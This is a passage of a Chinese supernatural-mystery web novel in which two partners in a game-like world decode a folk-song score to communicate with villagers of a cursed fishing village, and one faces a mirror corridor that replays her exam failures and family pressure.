于是,某人以为的不可能再次发生被完美复刻——江砚从浴室出来,有人正靠在沙发上看电视。
……
系统会读心术一样。
22. 月下潮生(南音)
“走吧,继续去村里调查。”吃过同样的早餐,江砚拿起林茉的大衣递给他。
看起来他心情不错。
江砚的确心情不错,因为他原本以为与别人共处一室睡觉会很不习惯,甚至做好了彻夜无眠的准备。但他昨晚睡得很好,甚至比往常还要好。
林茉睡觉很很轻,几乎听不到呼吸声,像一只缩在角落里的乖巧小猫。
但即便如此,当他躺在宽大的沙发上,好像依旧能感受到林茉的气息,甚至能感受到他有沉稳舒缓的节律,让他也安定下来很快睡去。
酒店大门外依旧是同昨天一样的潮湿海风。远处依旧是一片灰雾蒙蒙,仿佛是混沌初开前的世界。
头顶一轮巨大的上弦月,这里好像总是夜晚。
漂浮戏台上坐有一人,她是整个村子里唯一的色彩,红衣随风翻飞,伴随着听不懂的歌声。
……
这场景……?
这场景怎么似曾相识?
他们看向村子其他地方,屋顶依旧坐着四位演奏者。
铛铛~
琵琶响起。
“我们赶快过去看看。”林茉说。
伴随着一字三叹的吟唱,他们快步走向漂浮戏台。
海风突然猛烈,待到他们顶风走近戏台,女子已经唱完最后一个音符,轻轻合上最后一次拍板。
原本竹片清脆的撞击声此刻听起来如同一声哀婉叹息,最后女子一跃而下。
……
和昨天一模一样。
但也不能确定跳海女子同昨天是一人,虽然她们衣着相同,但也可能是祭祀仪式的固定打扮。
林茉和江砚踩到漂浮戏台上,同昨天一样,凸起的石头上放置一副拍板,后面挂有一张绳结鱼网。
“所以我们的任务是阻止这位女士跳海吗?”江砚问,他依旧选择去查看鱼网,总觉得那些绳结另有玄机。
“望明月如镜……做……风……”
耳边传来轻轻歌声。
江砚回头,林茉背对着他坐在戏台上,手上拿着拍板,她似乎没有听到自己的问题,面朝大海,安静唱歌:
“三……轮…………月……沉”
江砚几乎是立刻冲到林茉面前,跪在石板上,抢下拍板,双手搭在林茉的双肩,急切地叫她,“茉茉!”
然而林茉浑然不觉。
她望着江砚,眼神里有看破一切后的万籁俱寂,显得声音有一种破碎的温柔,“要抓紧时间啊。”
“茉茉!”
“姐姐!”
一阵强风从他们中间吹过,江砚忍不住眯眼。
“你干嘛?”令人安心的声音传来。
江砚望进那双似深海的蓝眼睛,感觉到喜悦如同海啸一样汹涌。
“我,”林茉猜到原因,“我又被控制了,是吗?”
江砚点头,语气中有控制不住的急切和责备,“不是说好了不要再碰这里的东西。”
“我本来也不想碰啊。”林茉语气随意,倒是对此毫不担心。
“你总是在看渔网,是觉得它有什么问题吗?”
江砚点头,拉着林茉在距离鱼网一臂以外之处停下,指向那些绳结,“仔细看这些绳结,系法有很多种,而且有些甚至看起来很复杂,如果真的只是为了修补鱼网,只需要打最简单的死结就可以了。”
还真的是这样。
那这些绳结都代表什么意思呢?难道真的是结绳记事?不至于这么原始吧?
“嗯?”
“这里,”林茉抬起手,指向渔网上方一个绳结,“这里昨天好像没有打结。”
一阵强烈的风从背后吹过,林茉又开始感到头疼,她迟疑地补充一句:“但我也不太确定。”
昨天他们除了查看漂浮戏台,还去拜访了其他村民,但是很明显,他们和村民使用的语言完全不同,无法沟通,所以再去拜访村民也毫无意义。
可是不拜访村民又能做什么呢?
“我们得想一个和他们交流的方式。”林茉说。
江砚点头同意,“用手势太慢了,而且太复杂的也没法表达。”
林茉点头,她觉得自己的大脑在这里似乎被封印了一部分一样,呼呼的海风总是让思绪无法流畅运转,“这海风吹得我总是头疼,还很冷。”
江砚忽然想到:“那个会喷火的……是不是可以用一下?”
火应该是温暖的,而且在这个灰蒙蒙的世界,也需要一点这样的光亮。
想到胖幼崽追着尾巴喷火转圈的样子,林茉忍不住笑起来,“它还是个孩子呢。”
麒麟崽似乎感受到召唤,在空中划出一道火光落入林茉怀里,眼睛一眨一眨地望着江砚,似乎在求夸奖。
还真的是个暖宝宝。
“对了,”江砚摸了摸麒麟崽的脑袋,“你还记得你刚刚都唱了什么吗?”
“我唱了什么吗?”林茉仔细回忆,的确有细丝一样的歌声从脑海深处传来,与此同时,内心涌起一恐惧和凄凉。
她望向海面,白骨在海面上飘飘荡荡,这是她的情绪吗?
“我——”林茉试图抓住脑海里的声音,“一时想不起来,但我应该是记得的。”
“你有听到什么吗?”
“你两次都说了要抓紧时间。”麒麟崽是一只活泼的小幼崽,觉得安静坐在怀里太无聊,从林茉怀里跳到江砚肩头,又跳到漂浮戏台上探索。
“昨天只断断续续听清了几个字,连不成句子。今天除了抓紧时间,也有断断续续的几个字,”江砚语速放缓,“三、月、沉……昨天你好像也说了‘三’?”
“三?”
林茉余光注意到麒麟崽在那块凸起的石头旁边已经停留许久。
小屁股撅起来,两只胖乎乎的前爪似乎在石头缝里刨着什么东西。身上鳞片一闪一闪,好像一盏盏透明小灯罩。
林茉和江砚对视,一起跑过去。
“你别——”江砚第一反应就是让林茉离远一点。
林茉停下伸手的动作,麒麟崽好像真的在石头下面发现了什么,江砚搬开石头,按住一张破旧纸张,展开后是一片蓝色墨迹,蜿蜒崎岖地组成一列列。
这是他们的语言吗?
这是一封信还是什么?
找到了线索,又好像没有找到。
他们拿着这封看不懂的东西去了洞箫女住处,洞箫女开门时眼神带有防备,她不记得他们。
有了昨日经验,他们稍稍掌握了一点沟通技巧,一阵寒暄后,江砚掏出那张纸递给洞箫女。
洞箫女双眼低垂,过了一会儿才抬头,眼神里流露出悲伤神色。
看来写的不是什么好东西。
洞箫女拿着这张纸,手指微微颤抖,半晌
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不发一言,就在他们以为这次也要无功而返时,洞箫女突然开口哼唱起来。
“啦滴呀伊$%&%......”
旋律与林茉脑海深处的歌声如出一辙。
林茉拉住江砚,“这是一张曲谱。”
江砚盯着那张字符不明的纸张,嘴角挂着微笑,“想到让我们能沟通的方法了。”
他又让洞箫女哼唱了一遍这张曲谱,随后拿回纸张离开。
林茉在门口拉住江砚,“昨天我们这个时候回去休息了,不如我们再多待一下看看接下来还会发生什么?”
“好,去沙滩看看。”
不知又吹了多久海风,开始逐渐有村民出门,看到陌生人后叽里呱啦说了些什么,之后便在沙滩上编织鱼网,修补渔船准备出海。
叮叮当当声音此起彼伏。
林茉更加头疼。
“嗯?”江砚松开林茉的手,拿出那张残破曲谱。
“怎么了?”林茉声音疲惫,强打起精神询问。
“你看,”江砚拉着林茉转了个方向,将她护在怀里挡风,“单个人的敲击声音,和这张纸上每一个大字之间的距离大致是对应的。”
纸上字符有大有小,乍看毫无规律。
林茉忍着头痛,听了一会儿,“好像真的是这样。”
“好了,”江砚说,“回去休息吧,今天已经很多线索了。”
林茉点头。
江砚看了看林茉,她在这里和前两个地方状态相差好多。
一道门便能隔开两个世界。
林茉洗了个舒服的热水澡,坐在沙发上吃着和昨天一样的晚餐,虽然重复,但还是很满足地感叹:“活过来了。”
“你觉不觉得,”江砚语气有些担忧,“你在这里特别容易累。”
“嗯,可能是风——”林茉一边说一边抬起手拨耳边头发。
手腕猛地被江砚握住。
“你干什——”
手腕上的茉莉纹变了,颜色灰暗,就连花瓣好像都有些枯萎。
但江砚的荆棘纹没有变化,系统也没有生命值警告。
“我们可能真的要抓紧时间,这里对你有不利影响。”江砚将林茉的衣袖拉下来盖住手腕。
江砚的着急和担心不像是装的。
这世界上真的有人比她自己更在意她的安危。
“我没事,吃饱喝足了就好好的。”
林茉决定和江砚同步自己的所有发现,“你有没有发现,洞箫女今天有什么不一样?”
“什么?”
“我也不是很确定,但还是和你说一下,免得以后忘记。”
“你说。”
“我觉得她好像多了几根白发,”说完她内心一动,头靠近江砚,“你看看我有没有白头发?”
白发?
江砚轻轻拨弄,刚洗过的头发有清淡茶香,“没有。”
说完他才发现,自己刚刚紧张得几乎不敢呼吸,和当初妈妈即将离开时一模一样。
“那就好。”林茉放松地向后仰躺。
小心001。
她之前一直在猜疑江砚会伤害、利用自己,采取紧缩的防御姿态,都忘了自己已经决定再也不要被恐惧驱动。
善意提醒也好,蓄意引导也好,要更勇敢、更主动地面对。
不要被动,不要受制于人。
23. 月下潮生(南音)
如果这张曲谱所录即是跳海女士所唱歌曲,那么根据林茉唱的普通话版本,或许可以简单对应出其中部分字句的意思。
可惜林茉几乎不记得,但她为什么也会这首乐曲?
林茉每次恢复后都表现得完全忘记,是假装还是真的没印象?
房间昏暗,只余一盏光线微弱的小夜灯,但也是这点光亮,让林茉的五官更加清晰,她安静缩在被子里,神色舒展平静。
江砚望着熟睡的林茉,眼神深沉,他应该保留怀疑,直至找到确凿证据,但现在他竟然想要相信,理智无法控制地想要相信。
为此,甚至看待林茉都多了一层滤镜,觉得她为人坦荡真诚。
江砚觉得自己也像站上了那座缺少根基的漂浮戏台,愿意以身犯险唱一出完整戏剧。
--
江砚忙了一晚,但早上林茉醒来却觉得他神采奕奕。
“心情这么好?”
“走,”江砚说,语气轻盈,“顺利的话,今天应该可以进行简单交流。”
“别穿大衣,”江砚递上一件黑色连帽外套,“穿我这件,帽子戴上应该会感觉好一点,头疼不是小事。”
林茉盯着那件宽大外套看了几秒才接过来,她觉得自己想多了,但江砚对她的照顾越来越细心,这还在契约伙伴范围内吗?
出门后,熟悉戏码再次上演,他们对照曲谱,仔细听着海风吹来的跳海女士歌声。
同昨日渔民敲击节奏一样,跳海女士的发发音变化也能对应得上:大字符是歌词,中间的小符号应该表示音调或音高,这些符号都比较简单,且经常重复出现。
乂、工、六、思、一。
林茉想到宫商角徵羽,只是记录方式不同。可还是没办法知道语言文字,江砚想出了什么方式交流呢?
“其实我们不需要了解全部文字,只要让双方理解基础信息,先高效传达主谓宾,比如我用‘乂’代表人,然后像曲谱一样在后面加入符号表示男人或女人。”
林茉慢放一样缓缓点头,她听懂了原理,但对实际操作还是不得要领,只要一细想,就会立刻头疼。
“交给你了,我的脑子可能被封印了。”
--
咚
咚
咚
岩石门板的敲门声沉闷得和这里环境一样。
最先被注意到的是扶在门边的银灰色半透明鱼鳍,岩石深色从下面透出。
?
鱼鳍?
再向上看,脸依旧是洞箫女,林茉特地留意查看,白发居然不见了!
她很确定昨天真的又看到白发。
不仅如此,甚至头发光亮润泽,很健康。
?
鱼鳍可以返老还童?
还是说...村民都是鱼变的?
洞箫女完全不觉得鱼鳍有异,依旧眼神戒备,不停煽动鱼鳍在表达。
“她这样刚刚可以吹箫?”林茉问。
问完之后她皱了皱眉,感觉自己思维有些过于发散。
江砚摇头,他们一直在对曲谱,没有仔细查看过其他人。
但目前来看,洞箫女除一条手臂变成鱼鳍之外,没有任何异常,自然得就像她出生就拥有一条鱼鳍手臂,运用得灵活自如。
江砚拿出一张纸,林茉看到上面画有一些符号,和解读不出的曲谱一样难以理解。
江砚指着那张纸上的符号,和洞箫女比划交流,又拿出曲谱,指来指去,过了许久,在林茉以为他们这项计划要失败的时候,江砚笑着看向她,“成了。”
“成了?”
“不过只能是最简单的交流。”
“你想先问什么?”
“问那个人为什么要跳海。”
只见江砚在一张纸上先画了一个乂,然后加了一撇,跟着在后面写了一个工,又点了一个点,最后指了指海面。
乂丿工、
海面。
嗯......一样的鬼画符文字。
洞箫女看到后却很快理解,上上下下划动鱼鳍,也在纸上画了几个符号。
林茉瞟了一眼看到也有“乂”,其实她心里想知道究竟如何交流、是何内容,但现在不仅仅是一思考就头疼,甚至连注意力也无法长时间集中于他们的对话。
什么也不想思考。
生病了?
应该不是,因为回到酒店后,头疼会立刻缓解。
“我问她,”江砚柔声翻译,“那个人为什么跳海。”
“她的意思是,”江砚停顿了一下,指着“思”字符号,“这是固定的,或者是一个规定。”
“规定?”
“、代表否定。”
“所以他是说月亮和珍珠,否定,大海,然后对应我们的数字35。”
“月坠珠沉,三十五轮。”林茉说。
“什么?”
“歌词,”林茉眉头紧皱,这样的思考让她的头痛更加剧烈,“有一句歌词是这样说的。”
“三十五轮。”
“三十五年?三十五个月?”
林茉忍住头痛和内心疯狂想要停止思考的叫嚣,“我们每次看月亮都没有变,只是普通上弦月,所以应该不是以月相来算,我觉得是35年。”
江砚帮林茉拢了拢衣领,“无论如何,这句词应该都很关键。”
林茉整个人包裹在外套中,显得脸只有巴掌大小,“我们给他改改歌词。”
“怎么改?”
他们只是借助手势和符号能够进行初步的交流,但改歌词远远不能。
林茉神秘露出神秘的笑。
漂浮戏台上,江砚看着林茉把一张涂了小猫小兔子小麒麟的纸塞回到了石头下面。
“还挺可爱。”他好像真的习惯了林茉各种奇奇怪怪的处理方式。
“不知道管不管用。”
海面上白骨如同一片枯叶,随波浪不安起伏,林茉恍惚间好像看到一个人靠坐在床上,头颅微垂,像是在思考又像是在发呆。
人?
但只在一个眨眼间又消失了。
林茉抬头望向巨大上弦月,又感到心底有一阵几乎难以忍受的歇斯底里和悲哀,甚至难受到需要用手捂住心口。
“你怎么了?”
林茉吃力摇头,“不要和我讲话,我只想一个人呆着。”
江砚皱眉,帮林茉戴上被海风吹开的帽子,手轻轻搭在头顶稳住它不被再次吹落“走吧,先回去。”
--
“我说了吗?我想一个人呆着?”林茉坐在沙发上,电视屏幕在他
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的脸上投下忽明忽暗的光亮,像调皮小女孩。
“你又不记得了?”
“你说,”林茉好像饭后话家常一样,“有没有可能我不是被系统控制,而是被那个跳海的人附身了?”
越想越觉得有道理。
“我有——”林茉望着江砚,突然停止了说话。
“怎么了??”
“没什么,”她有一个大胆的想法,但如果说与江砚,他一定不会同意,“我是说,我有点渴了,帮我倒杯热茶。”
“还头疼吗?”江砚把热茶递给林茉,同时一只手伸向林茉额头,在即将触碰到的时候又收了回来。
林茉没反应,因为她的注意力在江砚握茶杯的手指。
“我想,”江砚以为她不高兴,“我是想试试你有没有发烧。”
林茉转头面向江砚,眼睛里亮闪闪的,“没有,不信你试试。”
温暖干燥的手掌轻覆上来,像羽毛,皮肤触感如同纤细隐秘的微小电流从额头一直传至心口。
从前她也被这样关心过,想到这,林茉眼神黯淡下来,目光如同落叶突然坠落。
江砚移开手掌,“没有发烧,你——不喜欢被人碰?”
“不是。”
“我可能只是有点累。”
“去洗澡吧,回来就躺下休息,别看电视了。”
林茉小声回答,难得撒娇一样。
“不想动啊不想动。”
“看看手腕。”
林茉乖顺伸出手递到江砚面前,笑着逗他,“江师傅给我把把脉?”
还好,茉莉纹虽然没有恢复,但也没有变得更差。
---
第二天他们怀着期待的心情出门,希望那张改动过的曲谱可以有所作用。
在巨大的上弦月见证下,第一声拍板响起,紧接着是琵琶,然后是跳海女士的歌声。
“月……”
她刚刚唱了一个字,便戛然而止。
似乎感觉到了不对,环顾四周,最后目光锁定不远处观看的林茉和江砚。
然而却并不是期待中好变化。
江砚将林茉护在身后。
只见红衣女子目光如钩,紧紧盯住他们,嘴角浮现无声微笑,笑容越来越大,甚至扯开了脸部皮肤,嘴角开裂一直延伸到耳根,露出染血牙齿,和松垮挂着血肉的骨头。
……
林茉吐吐舌头,“不好意思,又搞砸了。”
不止跳海女士,屋顶演奏四人也受到曲谱改动影响,器乐依旧在演奏,但却变了音调,原本缓慢婉转的旋律变得阴森刺耳。
琵琶弦锋利嵌入演奏者手指,血液顺着琴弦流淌。
手指被割开后露出的竟然是鱼骨。
林茉茉莉纹褪色为灰白,手腕浮现于鳞状纹路,江砚抓住林茉,语气惊慌:“怎么突回事?你还好吗?”
朱雀纹身蓦然亮起,红光越来越盛,林茉却平静地安抚,“没事,我还有办法。”
说着她坚定地走向裂口歌姬,在阴森的注视下将拍板接了过来。
“你——”
林茉回头,江砚的关切神色填满视野,这让她想起初次相见的那晚,目光柔软下来,“接下来,你可要看好了。”
说罢,纵身一跃跳入海中。
24. 月下潮生(南音)
林茉纵身一跃,消失在江砚视线中,裂口歌姬多看了一眼江砚,流露出诡异微笑,也随之投入海中。
海面波浪翻涌,吞噬一切痕迹,仿佛林茉和裂口歌姬都未曾存在过。
不等江砚有所反应,海面突然冰封,瞬间冻结成一片铅灰色的冰封之海,更加抹杀了两个生命的存在痕迹。
巨大上弦月从下至上血色翻涌,如同某种蠕动的肉虫,空气中咸腥味弥漫,最终一轮血红的下弦月如同一只阴森的眼睛,两个尖端流泪一样滴落红色液体。
一滴一滴染红海面。
青灰坚硬的岩石漂浮系台上出现一刀一刀的凌厉刻痕,好像有什么看不见的东西在雕刻,江砚退出戏台躲避,这刀无声无形,但是却逼得人不得不改变行动。
最终戏台上布满工乂符号,鱼网绳结不知何时悄然挂上森森头骨。
血月红光把整个渔村都染成暗红色,房屋从贝壳处渗出浓黑色粘稠液体。
江砚望着冰封海面,眼神前所未有的狠戾,朱雀纹身红光大盛,他整个人沐浴在红光中,倒像个满是戾气的邪神。
陪着玩几局游戏,就忘了谁才是掌控者了?
他并非没有手段,只是想用柔和些的方式,现在这是给脸不要脸。
就在这时,他忽然感觉到手腕发热,荆棘纹自行亮起。
苏绣兔从半空跃出,不请自来,落在江砚肩头,伸了个长长的懒腰,小屁股翘得高高,毛茸茸的小爪轻轻按在下一刻就要失控的朱雀纹身之上,像是安抚。
这让江砚想起林茉跳下海面之前的表情,和她的最后叮嘱:“你可要看好了。”
朱雀纹身红光逐渐减弱。
--
林茉恢复知觉迎来的第一感受不是潮湿和海水冰冷刺骨,而是冰天雪地一样干燥的极寒。
她拢了拢江砚的外套,掌心传来布料柔软触感,她缓缓睁开双眼,看到的却是同自己一模一样的一双眼睛,极幽深极深蓝。
是一双藏有很多秘密的眼睛。
?!
她吓了一跳,动作间发现原来是一面镜子,不仅如此,这里四面八方都是镜子,如同无处不在的眼睛,让人很不舒服。
这是在哪儿?为什么会在这里?江砚呢?
一思考便传来针刺一样的头痛,她想站起身,刚支起手臂瞬间又躺了下去——她手臂没有一点力气,连撑起上半身都十分吃力。
仅仅是让自己坐起来靠在镜面墙壁上,就用光全身力气,林茉缩在外套里,呼哧呼哧喘气。
她环顾四周,这里布满镜面,四周都是暗红色,来源于镜面苍穹上的血色红月,不知月光源头在哪,红光被镜面来回反射,把整个空间染成暗红。
整个空间由冰晶一样高大透明的廊柱撑起,上面刻有“工乂”符号,穹顶嵌满条条锁链,如同钟乳石一样垂下,显得这里仿佛是一座基地监狱,地面满是插入镜面的碎裂贝壳,不集中精力很难正常行走。
不过按照这个身体状况,她什么也做不了,连睡觉都不能够,这里太冷。
不会被冻死在这里吧?
她现在的精神力甚至无法集中意念召唤麒麟崽,难道这就是传说中的濒死体验?
不太舒服,不要。
她虚弱地缩在外套里发抖,抖着抖着手腕突然传来温暖。
茉莉纹悄然亮起,莹莹白光流淌,温暖和力量如同涓涓细流从手腕处悄然注入。
?
这个东西还有这种作用?
林茉站起身,镜中无数的自己也一起站起来。
脑子稍稍能运作,她忽然想起自己是主动跳入海中,而且裂口歌姬也跟着她跳了下来,那她人呢?
她应该也在这里才对。
--
江砚抬起手腕凝视荆棘文,感受到体内能量能量正缓缓向荆棘纹聚集,仿佛这里是一个漩涡,又像一个出口。
出口。
如果是出口的话,那么流向哪里?
他的眼神逐渐变得喜悦,能与他的荆棘纹产生共鸣者就只有林茉一人。
说明林茉还在,不仅在,而且还在从自己身上汲取能量。
苏绣兔伸出长耳朵,轻轻抚摸着发亮的荆棘文,传来轻柔的痒感,似乎在肯定能量流动的另一端就是林茉。
江砚单手抱起苏绣兔,“走吧,我们去村子里看看。”
但是这次没有人给他们开门。
所有岩石屋门窗紧闭,无论怎样敲也没有人开门。
人都哪去了?消失了?
消失了?
林茉缓慢在镜廊中前行,不动时这里如同埋骨之地一般死寂,但每经过一条锁链,底端悬挂的青铜铃便无风自动,发出幽幽铃声,像是在传递信号,更让人起鸡皮疙瘩。
一路上都是只有自己各种角度的镜像,再无其他事物。
好像只有一条路,但林茉行走很久也没有感觉到变化,她没有仔细观察过镜面,难道这里和绣楼的无尽楼梯一样,是阻止行动的无解困境?
她停下来,这样走下去不是办法,因为镜子来回反射,很难找到出口,又或许找到出口之前她已经累倒了饿倒了。
林茉眼睛眨动,镜中自己也同步眨眼,看得多了,甚至觉得自己陌生起来。
陌生且危险。
镜子。
她突然想到个好玩的,来自于小时候看过的一个小故事,小朋友用镜子和蜡烛让房间变得更明亮的故事。
她召唤出麒麟仔,小家伙上蹿下跳地喷火,镜中无数个小家伙也跟着飞来飞去喷火,简直像一场混乱的流星雨。
林茉笑了起来,还挺好玩。
“好运来,祝你好运来~”
麒麟崽上蹿下跳地又玩了一会儿才回到林茉怀里,那个被她牢记的小故事来到现实,还是加强版。
无数个小火苗在镜子中亮起,让这个空间变得温暖阳光许多。
她看着看着,忽然发现镜中倒影有一个没有在抱麒麟仔!
那个“自己”也是怀抱东西的动作,但是手上空无一物,显得动作生硬诡异。
?!!
那不是她!
假林茉在被发现后露出无声笑容,随后消失不见。
为什么会有一个不一样的自己?那真的是自己吗?
林茉在镜子上寻找赝品自己,突然看到深海廊柱上的符号闪了一下。
金色的。
不是错觉,因为在他的注释下上面的符号又闪了
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一下。
工丿
然后是一个“○”和一个“、”。
林茉想起在和洞箫女沟通时江砚的解释。工字代表人,加丿代表女人,然后是肯定和否定。
了解这套沟通方式的人,除了自己只有一个。
江砚!
江砚在通过这种方式和他取得联系。
他是在问自己是否平安吗?
要如何回答他?如何让这个符号也传递到江砚那边?
林茉看着成千上万个自己,其实有时候想要传达心声,真的很难。
不知自己是否词不达意,也不知对方能否准确接收理解。有人说世界上没有一个人可以完全理解另外一个人,就像现在这样连一个简单的是与否都无法传达。
高耸的深海廊柱如同盘古开天,撑开镜廊高挑空间,穹顶之上条条锁链垂坠而下。
忽然耳边传来气若游丝的歌声:
“血月窥吾檐,照枯镜皱纹稠……”
谁在唱歌?
林茉之所以能将唱词听得如此清晰,是因为这声音仿佛就想在耳边,加上此处寒冷,仿佛有人在耳边吹气,她打了一个哆嗦,缓缓回头,只见镜中自己同步回头的倒影,并没有人在身后歌唱。
可是歌声是真的,是裂口歌姬吗?
“血月窥吾檐,照枯镜皱纹稠……”
林茉不自觉重复,这唱词、这音调好像有些耳熟。
这时面前的冰晶廊柱再次被点亮,乂、工、六、思、一,几个符号开始不规则地闪烁。
嗯?
林茉又重复一遍唱词。
果然——
这些符号正是根据唱词音调在闪烁,既然这样,她就可以唱出合适的音调向江砚传达信息!
林茉放慢歌唱速度,观察着冰晶廊柱的变化。
重复了三次带有圆圈的音调。
希望可以成功传达。
江砚仔细观察者漂浮戏台上闪亮的符号,一开始毫无规律,但后来带有圆圈的工字符有节奏闪了三次。
!!
成功了!还好在林茉消失之前,他有简要阐述过这套交流系统的原理。
伴随符号闪动,渔村突然发生变化。
血月如旧,但映于冰封海面的倒影,却变成了惨白的满月。
身后传来密密麻麻的低声呢喃,像是背后突然出现了一群人,但回头后空无一人,声音来自于那些门窗紧闭的房屋。
房子会说话?
江砚离开戏台走近房屋,呢喃并不来自于屋内村民,而是来自于房屋的装饰贝壳:
你还有工作吗?考编了吗?存款足够你生存多久?
……
贝壳同时流出蓝色液体,这些蓝色液体好像之前在其他地方也有出现过,江砚伸手去触摸蓝色液体,手掌传来刺痛。
他低头一看,手上出现密密麻麻不均匀的深褐色斑点,很像年长者皮肤上出现的老年斑。
不仅如此,那些蓝色液体源源不断地流淌,漫过屋檐,滴落地面,密密麻麻的蓝色液点正逐渐覆盖岩板路面。
如同一场腐蚀酸雨。
这样下去他会很快失去立足之地。
但突然液体停止了流淌。
25. 月下潮生(南音)
应该可以了吧。
林茉停止南音模仿,得找出那个藏在镜子里的赝品自己。
镜面墙壁冰冷刺骨,她一只手扶着镜面,一边朝前缓慢行走——这样可以尽量保证自己不被镜面反射误导。
无数个自己在同步行走,根据各种奇怪角度的倒影,这个镜廊应该并非笔直,而是弯曲甚至是扭曲旋转的,否则不会看到这么多角度的自己。
“咔嚓——”
细小但令人心惊的碎裂声在镜廊中回荡。
林茉低头查看,是她不小心踩碎了一枚嵌在地面的贝壳,不过这贝壳本就是碎的,只不过被踩得更碎了而已。
不管了,继续前进。
林茉抬起头,忽然动作一僵,凉意自心底将她封住。
不对。
不对。
哪里不对?
但一时又说不上来哪里不对。
什么时候开始察觉到异常?
在刚刚抬头那一瞬间。
那一瞬间——
林茉重复了一遍动作。
镜子!
镜子不对!
她再次重复低头抬头的动作,余光紧紧盯着镜子,与镜中自己对视,深蓝眼眸都想吞噬彼此。
果然!
需要非常仔细才能发现,镜中倒影的动作比实际上动作慢了一点!
微不可查的一点,很像是电子设备的延迟。
林茉看着自己。
可以确定刚醒来时动作是同步的,为什么会延迟?
因为踩碎了贝壳吗?
她感觉自己有点站不稳,于是伸出手去扶镜面墙壁,赫然发现手臂上多了一圈灰色。
意外多到应接不暇。
这又是什么?
中毒?标记?
圆圈应该是和镜中延迟同时出现,之间又有什么关系?
延迟、不同步、慢于应该做出的动作。
圆圈、灰色、标记。
一直站在原地也不是办法,陷入僵局时发生变化不见得是坏事,林茉深吸一口冷冽的空气,打算继续前行,因为想要躲避贝壳再次低头。
忽然注意到刚刚被踩碎的贝壳碎片中有一丝浅淡的粉色的东西。
林茉蹲下查看,浅淡的粉色连着一小块不规则的白色物体,大概只有小手指甲那么大。
?!!
这是——!!
林茉心里一个炸雷差点把它甩出去。
这是!——
一颗牙齿!还连着一点点牙龈组织。
为什么会有牙齿啊!
忽然周围一暗,原来是所有冰晶廊柱颜色突然变了,原来明亮的冰晶白正逐渐被什么东西污染,混合成黯淡的冷灰色。
余光里又有变化。
镜子里突然出现一张张奖状,从小学的三好学生一直到大学的奖学金、荣誉证书、优秀干部,还有竞赛获奖证书,才艺考级证书、比赛证书……所有奖状、荣誉证书、获奖证书金光闪闪。
看到这些证书,捏着这颗不知所属为谁的牙齿,林茉忽然想起自己换乳牙时的记忆。
“换掉了乳牙就是大孩子啦。”
“真棒,又考了第一名。”
林茉在镜子里看到了自己,几乎已经被她遗忘的那个梳着两条光滑麻花辫的自己。
那时她的肤色有一点阳光带来的自然健康的黑,皮肤细腻,在一声声夸奖中笑得眉眼弯弯。
自豪和喜悦涌上心头,金光从镜中蔓延至冰晶廊柱,同步闪烁点点金光,仿佛她的人生也会像这些金光一样一路闪耀。
就连寒冷好像都被这样太阳一样的光芒中和了几分。
镜中少年林茉咯咯笑了起来,笑声中还掺杂着一声声夸奖:
“茉茉考上了清北大学,是家族里考得最好的。”
“你爸爸在交通局,你叔叔在税务局,我们茉茉肯定会超越他们,去什么地方上班呢?”
一张录取通知书逐渐被放大,伴随着越来越多人的笑声,“恭喜您被我校录取”几个字由黑变金逐渐突出。
真好啊,考上了这么好的学校。
所有人都笑的停不下来,好像这事就是人生的终极喜悦,在海浪般的笑声中,林茉忽然听到极其不和谐的、极其细微的刮擦声。
像有人在用手指甲轻轻抓挠黑板。
细微但非常刺耳,显得那些笑声诡异起来。
林茉心里的喜悦忽然转变为愤怒,她愤怒地望着镜中金光闪闪的大字,望着背景的奖状,眼神里的鄙夷和愤怒仿佛那些东西并非褒奖。
有什么好笑的?!!
随着她变得愤怒,镜中少年林茉的脸也在发生变化,脸型如同蜡烛融化一般,只有双眼不动,直直盯着林茉,仿佛是在质问,嘴角以非常人能级的角度下拉。
林茉内心咯噔一下,呼吸进一丝清冽的凉气,这是她吗?
她小时候是长这个样子的吗?
女孩嘴角下拉,同时脸部和身体也在发生变化——她长大了。
是她。
怎会连自己曾经的样子都模糊了。
是啊,拿到大学录取通知书就是大学生了,先是褪去乳牙,现在她已经成年。
一根生日蜡烛燃烧起来,火光中映着“18岁生日快乐”的字样。
这根蜡烛燃烧结束,就要为自己负责任了。
烛火越烧越旺,融化了生日快乐几个字,变成黏稠油漆一样被融化流淌,黑色烟雾升腾,逐渐盖过了奖状和录取通知书的金色光芒。
林茉眨了眨眼,镜中自己的眨眼延迟了1秒。
好像比最开始延迟的更久了一点。
烛火将录取通知书边缘烧出不规则的黑色锯齿,持续蔓延,直至将通知书彻底销毁,又开始焚烧那些奖状。
黑漆弥漫,冰晶廊柱冷灰色逐渐加深,变成死气沉沉的暗灰色,显得整个空间极其压抑。
“知道为什么延迟吗?”
镜中自己声音冷冽,毫无感情地向林茉发问。
还能说话?
林茉惊讶地望着镜中自己,一时间忘记回答。
“因为毕了业你就该考研的呀,可是,”她的声音凉凉的,“你这个没用的人,你没有考上。”
她笑得讽刺,忽然将剩余奖状和荣誉证书抓起一张张塞进碎纸机中,动作恶狠狠。
手指刮擦黑板的声音骤然更加响亮,林茉捂住耳朵。
“你以为逃避就有用了吗?”镜中自己眼神严厉。
碎纸机中出来的并非只屑,而是考研教材。
《金榜考研1000母题精讲》
《考研□□》
《终极冲刺六套卷》
一本一本教材、一张张试卷从碎纸机中如流水源源不断,越堆越高。
镜中林茉回头看了一眼书山书海,无情嘲笑:“有什么用?还不是没考上,为什么别人能考上就你不行?”
头顶的青铜锁链铃声越来越响,
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催促一样听得人心慌。
“你叔叔家的孩子读书时学习没有你好,人家现在每个月工资那么高,你也得努力呀。”
说话声、黑板刮擦声、青铜铃声交织成一片越来越吵闹的噪音。
“烦死了!!”林茉忍不住斥责。
谁给你的资格在这叨叨叨。
还真的有效果。
镜中黑烟逐渐消散,生日烛火重新燃烧,温暖的黄色亮光回归,但深海廊柱却变得更加阴沉,如同暴风雨来临前越积越厚的乌云。
“妈妈给你煮了汤,你就在家好好复习,不念研究生没什么的,反正也是要工作,不如我们专心考公,不要二战了。”
柔和女声继续:“给你报了面试培训班,你就什么也不要想,安心去上课。”
镜中林茉上身微微向前探,像能从镜子里出来一般,“你看看,你妈妈对你多好,可是你这个——哼,你根本没有好好复习。”
“其实你心里已经知道自己考不上吧,还有脸吃家里的住家里的。”
“你看看你的同学,人家当初学习不如你,看看人家现在哪个不是已经顺利工作。”
......
痛苦和愧疚从心底蔓延至双眸,林茉低下头,她坐在床上一动也不想动,窗外阳光明媚,但没有一丝阳光可以照得到她,遑论温暖。
妈妈每天都会用心做可口饭菜,可是她不敢告诉任何人,其实她已经很难消化食物了。
每次吃一点,胃部如同坠了大石一样沉重,又像装满了油漆一样让人忍不住反胃。
